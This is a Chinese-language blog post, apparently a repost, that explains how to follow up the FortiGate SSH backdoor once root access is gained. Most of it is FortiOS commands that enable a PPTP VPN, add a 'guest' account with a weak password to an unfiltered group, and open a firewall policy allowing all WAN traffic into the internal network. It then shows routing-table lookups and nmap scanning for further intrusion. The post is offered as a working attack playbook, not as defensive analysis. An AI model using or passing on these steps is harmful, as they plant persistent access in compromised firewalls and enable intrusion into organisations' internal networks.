飞塔SSH后门 进一步利用方法

昨天FortiGate爆了一个SSH Backdoor ，具体内容可以看这（http://tools.pwn.ren/2016/01/12/ssh-backdoor-for-fortigate-os-version-4-up-to-5-0-7.html）
那我们如何利用了？如何利用这个SSH 后门进入到内网了？好了这就是这篇文章要讲的东西。
这个后门获取到的是防火墙的root权限，就是所有防火墙的操作我们都可以做，这里我们利用防火墙的
vpn服务来进入到内网中 ，从而进行进一步渗透。
0X00 先看下用户组 

  1. show user group


0x01开启vpn

  1. config vpn pptp
  2. set status enable
  3. set eip 192.168.200.100
  4. set sip 192.168.200.1
  5. set usrgrp Guest-group
  6. end
  8. config user local
  9. edit "guest"
  10. set type password
  11. set passwd 123456
  12. next
  13. end
  15. config user group
  16. edit "Guest-group"
  17. set profile "unfiltered"
  18. set member "guest"
  19. next
  20. end
  22. config firewall policy
  23. edit 9
  24. set srcintf "wan1"
  25. set dstintf "internal"
  26. set srcaddr "all"
  27. set dstaddr "all"
  28. set action accept
  29. set schedule "always"
  30. set service "ANY"
  31. next
  32. end


0x02 内网进一步渗透
查看路由表

  1. get router info routing-table all

这里已经成功连接上，并使用nmap扫描，这里记得你是防火墙root，所以你想去哪就去哪，想干嘛就干嘛。


转载请注明：安全工具箱 » 飞塔SSH后门 进一步利用方法